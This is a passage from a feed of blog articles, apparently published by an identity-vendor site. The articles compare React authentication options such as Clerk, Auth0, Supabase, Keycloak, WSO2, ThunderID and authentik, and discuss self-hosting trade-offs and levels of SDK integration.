<p>For a React application, this can reduce the amount of authentication infrastructure you need to build and operate.</p>
<p>The important architectural decision is what sits behind the SDK.</p>
<p>Clerk operates the identity service for you. This removes infrastructure work, but it also means your application's identity layer depends on Clerk's cloud service, pricing model, service boundaries, and feature tiers.</p>
<p>You therefore do not have the same deployment control as you would with an identity system that can also run inside your own infrastructure.</p>
<p>This may not matter for many applications. But if usage grows significantly, commercial terms become part of the architecture decision. The same applies if a future customer requires a deployment model that the service does not provide.</p>
<p>The React integration is therefore only one part of the decision. You are also choosing the cloud identity service behind it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="auth0">Auth0<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#auth0" class="hash-link" aria-label="Direct link to Auth0" title="Direct link to Auth0" translate="no">​</a></h3>
<p>Auth0 provides a managed identity platform and a dedicated React SDK for single-page applications. It supports OAuth 2.0, OpenID Connect, enterprise federation, Organizations, SCIM, and a broad set of enterprise identity capabilities.</p>
<p>For most teams, Auth0 is consumed as a vendor-operated identity service.</p>
<p>That removes much of the infrastructure work from the application team, but the same general trade-off as Clerk applies: your identity layer depends on the provider's service, pricing model, deployment options, and feature tiers.</p>
<p>One correction is important here. Auth0 can no longer accurately be described simply as cloud-only. Its Enterprise offering includes private deployment options.</p>
<p>However, that remains different from downloading an open-source identity server and independently deciding where and how you want to operate it.</p>
<p>For React itself, the integration is established and straightforward. The more important question is whether the Auth0 service model fits the amount of deployment and commercial control you want over the identity layer.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="supabase-auth">Supabase Auth<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#supabase-auth" class="hash-link" aria-label="Direct link to Supabase Auth" title="Direct link to Supabase Auth" translate="no">​</a></h3>
<p>Supabase Auth is slightly different because authentication is part of the broader Supabase application platform.</p>
<p>The JavaScript SDK works with React and provides the common authentication capabilities expected for applications using Supabase. Supabase Auth can also be used independently and its Auth server can be self-hosted, so it would be incorrect to describe it simply as a cloud-only service.</p>
<p>If your application already uses Supabase and Postgres, keeping authentication within the same platform can remove integration work. Supabase Auth also integrates naturally with the database and Supabase's Row Level Security model.</p>
<p>The limitation appears when authentication starts becoming a broader identity problem.</p>
<p>Supabase Auth is primarily application authentication rather than a full IAM platform designed to become a shared identity layer across many applications, APIs, organizations, enterprise identity providers, administrators, agents, and other identity types.</p>
<p>That distinction may not matter when you are building one application.</p>
<p>But if identity later becomes infrastructure of its own, you may need to introduce a dedicated identity platform and move some of those responsibilities outside the application platform.</p>
<p>So for me, the first question with Supabase Auth is simple: are you choosing authentication for a Supabase application, or are you choosing the long-term identity layer for a broader system?</p>
<p>Those can eventually become two different requirements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="keycloak">Keycloak<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#keycloak" class="hash-link" aria-label="Direct link to Keycloak" title="Direct link to Keycloak" translate="no">​</a></h3>
<p>Keycloak is an Apache 2.0 licensed open-source identity server and has been deployed in production for many years.</p>
<p>For a React application, developers can use the official keycloak-js adapter or a standard OpenID Connect client. The old react-keycloak project that still appears in many tutorials is archived, so it should not be treated as the current React integration path.</p>
<p>Keycloak supports OpenID Connect and SAML together with broader IAM capabilities. Its Organizations model has also continued to develop, and newer releases have added additional organization administration features while SCIM support is being introduced.</p>
<p>The main difference from application libraries is that Keycloak is already a standalone identity layer.</p>
<p>Multiple applications can use the same server, and identity does not need to be embedded into each application's backend architecture.</p>
<p>The trade-off is operations.</p>
<p>Running an identity server in production involves much more than starting the getting-started container. Availability, clustering, databases, upgrades, security patches, certificates, monitoring, backup, and disaster recovery all become your responsibility.</p>
<p>For organizations that already have the platform engineering capability and want an established open-source identity server, that may be an acceptable trade.</p>
<p>For a small application team primarily looking for an authentication library, it can be significantly more infrastructure than the original problem requires.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="wso2-identity-server">WSO2 Identity Server<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#wso2-identity-server" class="hash-link" aria-label="Direct link to WSO2 Identity Server" title="Direct link to WSO2 Identity Server" translate="no">​</a></h3>
<p>WSO2 takes a different approach because the identity layer can remain a standalone platform without forcing you into one deployment model.</p>
<p>For self-managed environments, WSO2 Identity Server provides the identity server that you can operate in your own infrastructure, including on-premises, Kubernetes, public cloud, private cloud infrastructure, and environments where direct control of the IAM runtime is required.</p>
<p>At the same time, WSO2 Identity Platform is also available as a multi-tenant SaaS service and as a WSO2-managed private cloud deployment.</p>
<p>This means the initial decision does not have to be "put authentication inside the application" versus "hand identity completely to a SaaS provider."</p>
<p>You can keep identity as an independently reusable platform and choose the operational model that fits the organization.</p>
<p>For a React developer, the application-facing experience still starts with a first-party SDK.</p>
<p>The WSO2 React SDK provides React-specific components and hooks, while Next.js has its own SDK rather than making plain React a secondary use case. This gives developers component-based authentication experiences without requiring every application to build authentication flows directly from OAuth or OpenID Connect primitives.</p>
<p>However, the reason to consider WSO2 Identity Server is not simply that it has a React SDK.</p>
<p>One area is B2B identity.</p>
<p>WSO2 models organizations hierarchically. An organization can contain child organizations, which can themselves contain further organizations, while applications, roles, and users can be managed and shared within that structure.</p>
<p>This matters for B2B SaaS applications where an organization is not simply another attribute attached to a user.</p>
<p>Another area is protocol depth.</p>
<p>WSO2 Identity Server supports OAuth 2.0, OpenID Connect, SAML, SCIM, and more advanced identity and authorization profiles. As application authentication expands into enterprise federation, provisioning, API authorization, delegation, or regulatory interoperability, the identity layer does not have to be replaced simply because the original React application has grown beyond login.</p>
<p>WSO2 has also introduced first-class identity management for AI agents.</p>
<p>Current releases can represent and manage agents independently, including lifecycle, authentication, authorization, ownership, and auditability. Newer releases also support delegated scenarios where agents need to act with authority originating from a human rather than simply receiving a permanently standing credential.</p>
<p>This is another example of why separating the identity layer from the application can matter. Humans, APIs, workloads, organizations, and agents can all eventually need to participate in the same identity architecture.</p>
<p>For a small React application that only needs login, much of this capability may be unnecessary.</p>
<p>But if you expect identity to become infrastructure shared across applications and APIs, or if you need B2B IAM, enterprise federation, self-managed deployment, SaaS, or private cloud without changing the fundamental identity architecture, WSO2 covers a wider deployment range than either application-embedded libraries or SaaS-only approaches.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="thunderid">ThunderID<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#thunderid" class="hash-link" aria-label="Direct link to ThunderID" title="Direct link to ThunderID" translate="no">​</a></h3>
<p>ThunderID is the newest identity server in this comparison, and its maturity should be understood in that context.</p>
<p>It is an Apache 2.0 licensed open-source identity stack built in Go. It uses a lightweight runtime and declarative resource configuration and has been designed around newer identity requirements involving humans, machines, workloads, and AI agents.</p>
<p>Its current capabilities include OAuth 2.1 and OpenID Connect, WebAuthn/passkeys, identity provider federation, organizational units and groups, authorization, verifiable credentials, and declarative YAML configuration suitable for GitOps workflows.</p>
<p>Like Keycloak and WSO2 Identity Server, ThunderID keeps identity outside the application.</p>
<p>A React application uses the identity service rather than making authentication part of the React application's own backend architecture. ThunderID also provides a first-party React SDK with components for application integration.</p>
<p>Where ThunderID differs is its design direction.</p>
<p>AI agents are modeled as identities rather than simply being represented as OAuth clients. The model covers registration, credentials, lifecycle, ownership, and delegated authority, allowing an agent to exist and be governed independently from the human, workload, or application that uses it.</p>
<p>ThunderID also puts more emphasis on declarative configuration and GitOps-style operation than traditional IAM products.</p>
<p>There is, however, an important maturity difference.</p>
<p>ThunderID is a much younger project than WSO2 Identity Server or Keycloak. It does not yet have the same production history, ecosystem depth, or operational track record of identity servers that have been deployed for many years.</p>
<p>That should remain part of the evaluation rather than being hidden behind a feature table.</p>
<p>If your requirement is an established enterprise IAM deployment today, maturity may carry more weight.</p>
<p>If you are evaluating an open-source identity foundation for newer architectures, particularly agent identity, workload identity, decentralized identity, post-quantum evolution, or GitOps-managed IAM, ThunderID takes a different architectural direction and is worth evaluating against those requirements.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="msal-react">MSAL React<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#msal-react" class="hash-link" aria-label="Direct link to MSAL React" title="Direct link to MSAL React" translate="no">​</a></h3>
<p>MSAL React is Microsoft's React authentication library for applications using Microsoft Entra ID.</p>
<p>This is different from Better Auth or Auth.js in one important way.</p>
<p>The identity system does not live inside your application. Microsoft Entra ID is already the standalone identity service, while MSAL React is the client library your React application uses to interact with it.</p>
<p>The architectural constraint is therefore not that authentication becomes part of your application stack.</p>
<p>The dependency is Microsoft Entra ID itself.</p>
<p>If your users, applications, and identity policies already live in Entra ID, MSAL React is the natural integration and there may be little reason to introduce another identity system.</p>
<p>If you want an identity layer that you can operate independently of Microsoft's cloud and licensing model, MSAL React does not provide that option because the SDK is specifically designed around Entra ID.</p>
<p>So this is less of a general authentication-library decision and more a question of whether Microsoft Entra ID is already the identity platform you have chosen.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="which-one-should-you-choose">Which one should you choose?<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#which-one-should-you-choose" class="hash-link" aria-label="Direct link to Which one should you choose?" title="Direct link to Which one should you choose?" translate="no">​</a></h3>
<p>For me, the useful distinction is not the React API. Most of these options can get a user signed in without much difficulty. The more important question is where you want the identity layer behind that React application to live as the system grows.</p>
<p>If authentication is primarily a concern of one application, libraries such as Better Auth or Auth.js can be a good fit. They keep authentication close to the application and give you control over the implementation. The thing to consider is whether identity is likely to remain an application concern. Once several applications, APIs, services, or organizations need the same identity context, separating identity from an individual application becomes increasingly useful.</p>
<p>Managed platforms such as Clerk and Auth0 already give you that standalone identity layer, but it is operated within the provider's service and deployment model. You gain operational simplicity, while accepting the provider's service boundaries, pricing, feature tiers, and deployment options.</p>
<p>Supabase Auth makes particular sense when Supabase is already part of your application architecture. If authentication later needs to become a broader IAM layer independent of that application platform, that is the point where its application-focused model needs to be reconsidered.</p>
<p>Keycloak gives you a standalone open-source identity server and full control over where you run it, but you also take on the operational responsibility of running identity infrastructure yourself.</p>
<p>WSO2 Identity Platform gives you another option. You can keep identity as a standalone reusable layer and choose how you want to operate it: self-managed through WSO2 Identity Server, as SaaS, or through a managed private cloud deployment. The React SDK remains the application-facing integration rather than becoming the identity architecture itself.</p>
<p>ThunderID follows the standalone identity model as well, with a newer architecture built around a lightweight Go runtime, declarative configuration, GitOps, and first-class support for newer identity types such as AI agents. It is also a much younger project, so maturity should remain part of that evaluation.</p>
<p>MSAL React is the more specific case. It makes sense when Microsoft Entra ID is already the identity platform you have chosen.</p>
<p>For a React developer, the login code is usually the easy part. The harder decision is where the identity layer behind it should live as the application grows.</p>
<p>For a single application, keeping authentication inside the application stack can be completely reasonable. A managed service can also be a good choice when you want to avoid operating identity infrastructure yourself. But once multiple applications, APIs, organizations, identity providers, or other identity types need to share the same identity context, authentication starts becoming a broader infrastructure concern.</p>
<p>You do not need to solve that problem on day one. But if you already know those requirements are coming, it is worth making that boundary explicit before choosing the library, because changing the React integration later is usually easier than changing the identity architecture behind it.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>Self-hosted IAM</category>
            <category>Open-source IAM</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Open Source and Self-Hosted Auth for React in 2026]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react</guid>
            <pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Compare open source and self-hosted authentication for React apps: authentik, Keycloak, SuperTokens, Authelia and WSO2, with honest trade-offs.]]></description>
            <content:encoded><![CDATA[<p>Installing an identity provider and connecting it to a React application is usually the easy part. Most open source and self-hosted authentication guides focus on getting to that point, comparing features, licenses, and initial setup.</p>
<p>The more important questions appear later. Who applies a security update when a vulnerability is disclosed? How are certificates and signing keys rotated? What happens when the deployment is several major versions behind, or the engineer who originally set it up has moved on?</p>
<p>Self-hosting is therefore an operational decision as much as a technology or licensing decision. This guide starts with that operational responsibility, then looks at the available approaches, the open source landscape, and what React teams should consider when choosing and running a self-hosted identity provider.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-self-hosting-actually-means">What self-hosting actually means<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#what-self-hosting-actually-means" class="hash-link" aria-label="Direct link to What self-hosting actually means" title="Direct link to What self-hosting actually means" translate="no">​</a></h2>
<p>Self-hosting means the identity software runs on infrastructure you control and your team is responsible for operating it.</p>
<p>It does not tell you whether the software is open source, proprietary, or written by your own team. Those are separate decisions.</p>
<p>In practice, there are three main approaches.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-one-build-authentication-yourself">Option one: build authentication yourself<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#option-one-build-authentication-yourself" class="hash-link" aria-label="Direct link to Option one: build authentication yourself" title="Direct link to Option one: build authentication yourself" translate="no">​</a></h3>
<p>This is usually described as rolling your own auth. Your team owns the user store, password handling, sessions or token issuance, recovery flows, and the application logic around them.</p>
<p>Of course, nobody should implement password hashing or signature verification from scratch. Those functions should come from well-tested libraries. But using libraries does not remove the operational responsibility. Security fixes still need dependency upgrades, testing, and releases. Algorithms can be deprecated, libraries can introduce breaking changes, and security reviews can require changes to implementations that have been running for years.</p>
<p>The same pattern appears when requirements grow.</p>
<p>Assume an audit introduces an MFA requirement. With an identity product, much of this is configuration. With a custom implementation, the team first needs to decide which factors are supported, how enrollment works, how users recover when a device is lost, how administrators handle recovery, and what support processes are required.</p>
<p>Authentication quickly becomes more than login code.</p>
<p>The useful question is therefore not whether the team is capable of building authentication. Most experienced development teams are. <strong>The question is whether identity should become something the team owns for the next several years, including its security, compliance, protocol support, and operational lifecycle.</strong></p>
<p>Building authentication internally makes sense when both of the following are true: the team has genuine identity expertise, and there is a requirement existing products cannot meet.</p>
<p>Those cases do exist. A company may itself be building an identity product, operating in an environment where third-party software cannot run, or using an identity model that does not fit available products. Outside those cases, building authentication can be useful for learning, but using the same implementation as a production identity platform is a different decision.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-two-run-open-source-identity-software">Option two: run open source identity software<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#option-two-run-open-source-identity-software" class="hash-link" aria-label="Direct link to Option two: run open source identity software" title="Direct link to Option two: run open source identity software" translate="no">​</a></h3>
<p>This is what many teams mean when they talk about self-hosted authentication. An open source identity provider is deployed on infrastructure controlled by the organization.</p>
<p>The value of open source here is not only that there may be no software license fee. It also provides access to the source and the freedoms that come with the license.</p>
<p>Security teams can inspect the implementation. Organizations can perform their own security analysis. The software can be modified when a requirement is not available out of the box, and it can be deployed in environments where a public managed service is not possible.</p>
<p>Open source also does not necessarily mean operating without support.</p>
<p>Many open source identity providers have a commercial organization behind them offering production support, tested updates, migration guidance, and support commitments. This creates a useful middle ground between running everything independently and adopting a proprietary identity product.</p>
<p>The organization keeps the open source software and deployment control while deciding separately whether commercial support is required.</p>
<p>Another useful model is an open source identity provider that is also available as a managed service. In this case, self-hosted and SaaS can become deployment choices around the same underlying software rather than completely separate products.</p>
<p>This can simplify future migration, provided the protocol and application integration surfaces remain compatible between the two deployment models.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="option-three-run-proprietary-identity-software">Option three: run proprietary identity software<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#option-three-run-proprietary-identity-software" class="hash-link" aria-label="Direct link to Option three: run proprietary identity software" title="Direct link to Option three: run proprietary identity software" translate="no">​</a></h3>
<p>The third approach is commercially licensed identity software running on infrastructure controlled by the organization.</p>
<p>This is common in enterprise environments, particularly where there are regulatory, operational, or support requirements.</p>
<p>The main benefit is accountability. There is a vendor, a support contract, a release process, and an organization responsible for product-level issues. Enterprise capabilities are also more likely to be delivered as part of a supported product rather than assembled from multiple components.</p>
<p>The trade-off is reduced independence.</p>
<p>The complete implementation may not be available for inspection or modification. Upgrade timing follows the vendor's supported release path, and requirements outside the supported extension model depend on what the vendor chooses to provide.</p>
<p>Migration can also be more expensive if applications rely heavily on proprietary integration surfaces rather than standards such as OAuth 2.0, OpenID Connect, SAML, or SCIM.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="wiring-a-react-app-to-a-self-hosted-provider">Wiring a React app to a self-hosted provider<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#wiring-a-react-app-to-a-self-hosted-provider" class="hash-link" aria-label="Direct link to Wiring a React app to a self-hosted provider" title="Direct link to Wiring a React app to a self-hosted provider" translate="no">​</a></h3>
<p>Once you have selected an identity provider, the next question is how the React application should integrate with it.</p>
<p>There are three common approaches. They are not different authentication models, but different levels of abstraction over the same OpenID Connect flow. The level you choose determines how much of that flow your application needs to manage.</p>
<p>For self-hosted providers, this also affects product choice. Almost every conformant OpenID Connect provider works at the protocol level. A React SDK depends on whether the provider or its community maintains one, and SDKs with ready-made React components are less common.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-1-integrate-at-the-protocol-level">Level 1: integrate at the protocol level<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#level-1-integrate-at-the-protocol-level" class="hash-link" aria-label="Direct link to Level 1: integrate at the protocol level" title="Direct link to Level 1: integrate at the protocol level" translate="no">​</a></h4>
<p>At the lowest level, the application integrates directly with OpenID Connect using a general OAuth 2.0 or OpenID Connect client library.</p>
<p>The application handles the authorization redirect, code exchange, token storage, expiry, refresh, logout, and processing of the authentication response. This gives the most control, but also leaves the most responsibility with the development team.</p>
<p>The main advantage is portability. A conformant OpenID Connect provider exposes a discovery document describing its authorization endpoint, token endpoint, signing keys, and supported capabilities. If the integration is built around this standard metadata rather than provider-specific APIs, moving between providers can become largely a configuration change.</p>
<p>This level is useful when portability matters, when every step in the authentication path needs to be reviewed, or when the selected provider does not have a suitable React SDK.</p>
<p>The trade-off is expertise. The team still needs to understand OpenID Connect well enough to handle authentication state, token storage, refresh, and logout correctly.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-2-use-a-headless-react-sdk">Level 2: use a headless React SDK<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#level-2-use-a-headless-react-sdk" class="hash-link" aria-label="Direct link to Level 2: use a headless React SDK" title="Direct link to Level 2: use a headless React SDK" translate="no">​</a></h4>
<p>The second approach is a provider-specific or community-maintained React SDK that handles the OpenID Connect mechanics while leaving the UI to the application.</p>
<p>The SDK typically manages sign-in, token storage, expiry, refresh, and logout, then exposes hooks or utility functions such as:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">signIn()</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">signOut()</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">isAuthenticated</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">user</span><br></span></code></pre></div></div>
<p>The application still owns the sign-in button, loading state, profile page, errors, and the rest of the authentication UI.</p>
<p>This works well when the application has its own design system but the team does not want to maintain the protocol flow itself.</p>
<p>For self-hosted providers, also check who maintains the SDK. If it is community-maintained, its activity, ownership, release history, and React compatibility become part of the dependency decision.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="level-3-use-a-react-sdk-with-ready-made-components">Level 3: use a React SDK with ready-made components<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#level-3-use-a-react-sdk-with-ready-made-components" class="hash-link" aria-label="Direct link to Level 3: use a React SDK with ready-made components" title="Direct link to Level 3: use a React SDK with ready-made components" translate="no">​</a></h4>
<p>The highest level provides both authentication hooks and ready-made React components.</p>
<p>Conceptually, the application may use components such as:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignIn</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">UserProfile</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">SignOut</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><br></span></code></pre></div></div>
<p>This provides the fastest route to a working authentication experience, while good SDKs still allow the components to be styled or extended.</p>
<p>The trade-off is tighter coupling. At Level 1, the application mainly depends on OpenID Connect. At Level 2, it depends on the SDK API. At Level 3, provider-specific components also become part of the React component tree.</p>
<p>Most component-based SDKs still expose the lower-level hooks underneath, so individual screens can use custom UI when more control is required.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-open-source-and-self-hosted-landscape-in-2026">The open source and self-hosted landscape in 2026<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#the-open-source-and-self-hosted-landscape-in-2026" class="hash-link" aria-label="Direct link to The open source and self-hosted landscape in 2026" title="Direct link to The open source and self-hosted landscape in 2026" translate="no">​</a></h2>
<p>Six options come up repeatedly when React developers look at open source authentication and self-hosted identity providers.</p>
<p>A useful way to compare them is to look beyond the feature checklist and ask what each project was originally designed to solve. That design centre still shows up in what the product makes easy, what the application team needs to build around it, and how well it fits when requirements grow beyond basic login.</p>
<p>For React developers, there is another important difference: the integration experience. Some providers expose standard OpenID Connect and leave the React integration largely to the application team. Others provide first-party React SDKs, hooks, and reusable components that remove much of the authentication-specific code from the application.</p>
<p>The comparison therefore looks at two things: what the identity platform provides as requirements grow, and how much React-specific integration it provides out of the box.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentik">authentik<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#authentik" class="hash-link" aria-label="Direct link to authentik" title="Direct link to authentik" translate="no">​</a></h4>
<p>authentik is designed to make running a self-hosted identity provider relatively straightforward. It supports the authentication capabilities most application teams expect and is OpenID Certified.</p>
<p>For React developers, the main limitation is the application integration layer. authentik exposes a standard OpenID Connect interface, but there is no first-party React SDK or reusable React component library. In terms of the integration levels discussed earlier, it effectively stops at Level 1.</p>
<p>That is a real weakness if the team wants authentication to fit naturally into the React development experience. You can still integrate using a general OIDC library, but authentication state, token lifecycle, UI integration, and common components remain things the application team needs to assemble.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authelia">Authelia<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#authelia" class="hash-link" aria-label="Direct link to Authelia" title="Direct link to Authelia" translate="no">​</a></h4>
<p>Authelia comes from a different starting point. It was originally designed to put authentication in front of applications through a reverse proxy, although it can now also act as an OpenID Connect provider.</p>
<p>For React, this is again primarily a Level 1 integration. The application talks to Authelia using OpenID Connect, but there is no first-party React SDK providing hooks, authentication state management, or reusable components.</p>
<p>This is less of an issue when the goal is mainly SSO for self-hosted applications. It becomes a more visible weakness when authentication is part of the application itself, because more of the React-specific integration remains with the development team.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="keycloak">Keycloak<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#keycloak" class="hash-link" aria-label="Direct link to Keycloak" title="Direct link to Keycloak" translate="no">​</a></h4>
<p>Keycloak is an established option in this list, with broad identity capabilities and many years of community and production use.</p>
<p>React applications normally integrate through OpenID Connect and Keycloak's official JavaScript adapter, keycloak-js. The adapter handles much of the browser-side authentication flow and token lifecycle.</p>
<p>The limitation is that the abstraction does not continue into React itself. Keycloak does not provide a first-party React SDK with hooks and reusable authentication components for application developers. Community React integrations exist, but that means taking another dependency in the authentication path rather than using something maintained as part of Keycloak itself.</p>
<p>For React developers, this is a weakness compared with products that provide complete Level 2 and Level 3 support. Keycloak gives you a mature identity platform underneath the application, but more of the React authentication layer and UI remains yours to build.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="supertokens">SuperTokens<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#supertokens" class="hash-link" aria-label="Direct link to SuperTokens" title="Direct link to SuperTokens" translate="no">​</a></h4>
<p>SuperTokens has gained some community traction, particularly among application developers looking for an SDK-led authentication model.</p>
<p>Its official React SDK provides both lower-level authentication APIs and prebuilt authentication UI, covering the Level 2 and Level 3 models described earlier. Authentication state, sessions, token handling, and common UI flows can therefore be handled through the SDK rather than assembled separately by the application team.</p>
<p>The architectural difference is on the server side. The self-hosted SuperTokens model is not equivalent to running a general-purpose OpenID Connect authorization server, particularly when the requirement is to operate one identity provider that serves multiple independent applications and clients through standard OIDC.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="wso2-identity-server">WSO2 Identity Server<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#wso2-identity-server" class="hash-link" aria-label="Direct link to WSO2 Identity Server" title="Direct link to WSO2 Identity Server" translate="no">​</a></h4>
<p>WSO2 Identity Server combines an enterprise identity platform with a first-party React developer experience.</p>
<p>Its React SDK covers both Level 2 and Level 3. Developers can use hooks and APIs when they want complete control of the interface, or use reusable components for common authentication and user-management experiences.</p>
<p>This includes components for sign-in, sign-up, sign-out, authentication state, user profile and self-service experiences, as well as organization-related use cases.</p>
<p>For React developers, this removes a meaningful amount of authentication-specific application code. A team can start with reusable components, customize the UI when required, or drop down to the lower-level SDK APIs without changing the identity provider underneath.</p>
<p>The platform also covers requirements that commonly appear later, including B2B organizations and newer agent identity scenarios. This becomes relevant when an application starts with login but later needs to support business customers, delegated administrators, or agents acting on behalf of users.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="thunderid">ThunderID<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#thunderid" class="hash-link" aria-label="Direct link to ThunderID" title="Direct link to ThunderID" translate="no">​</a></h4>
<p>ThunderID takes a developer-first approach from a much newer identity architecture.</p>
<p>Its official React SDK covers both Level 2 and Level 3. It provides hooks for applications that want full UI control, together with reusable components for sign-in, authenticated-state rendering, user information, and other common authentication experiences.</p>
<p>It also provides first-party integration with React Router, reducing some of the routing and authentication-state plumbing that application teams would otherwise need to build.</p>
<p>For React developers, this is one of ThunderID's clearer advantages. SDK and framework integration are part of the project's design rather than something added around the identity server later.</p>
<p>The trade-off is maturity. ThunderID is much newer than the established projects in this list, so production history and the breadth of the surrounding identity feature set still need to be considered separately.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="react-integration-comparison">React integration comparison<a href="https://choreolabs.com/identity-and-access-management/learn/open-source-self-hosted-auth-react#react-integration-comparison" class="hash-link" aria-label="Direct link to React integration comparison" title="Direct link to React integration comparison" translate="no">​</a></h4>
<p>For React developers, the important difference is how much authentication-specific code remains inside the application.</p>
<p>Level 1 provides the strongest standards-based portability, but the application team owns more of the integration. A first-party Level 2 SDK removes much of the authentication state and token-lifecycle plumbing, while Level 3 also provides reusable components for common authentication experiences.</p>
<table><thead><tr><th><strong>Project</strong></th><th><strong>Level 1: OIDC</strong></th><th><strong>Level 2: React SDK / hooks</strong></th><th><strong>Level 3: React components</strong></th><th><strong>React developer impact</strong></th></tr></thead><tbody><tr><td><strong>authentik</strong></td><td>Yes</td><td><strong>No first-party React SDK</strong></td><td><strong>No</strong></td><td>Portable standards-based integration, but most React-specific authentication work remains with the application team.</td></tr><tr><td><strong>Authelia</strong></td><td>Yes</td><td><strong>No first-party React SDK</strong></td><td><strong>No</strong></td><td>Works at the protocol level, but provides little React-specific abstraction.</td></tr><tr><td><strong>Keycloak</strong></td><td>Yes</td><td><strong>No first-party React SDK; official JS adapter available</strong></td><td><strong>No first-party component SDK</strong></td><td>The JS adapter handles much of the browser authentication flow, but React bindings and UI remain outside the core project.</td></tr><tr><td><strong>SuperTokens</strong></td><td><strong>Not equivalent in self-hosted deployment</strong></td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Provides React APIs and prebuilt authentication experiences, but with a different self-hosted server model.</td></tr><tr><td><strong>WSO2 Identity Server</strong></td><td>Yes</td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Full path from standards-based OIDC to hooks and reusable React components.</td></tr><tr><td><strong>ThunderID</strong></td><td>Yes</td><td><strong>Yes</strong></td><td><strong>Yes</strong></td><td>Full React SDK with hooks, components, and first-party framework integration.</td></tr></tbody></table>
<p>The absence of Level 2 or Level 3 support should be treated as a real weakness for React developers, not simply a missing convenience library.</p>
<p>This does not make a Level 1-only project a weaker identity provider overall. It means it provides a weaker <strong>React developer experience</strong>, which is an important distinction when React developers are the audience making the choice.</p>
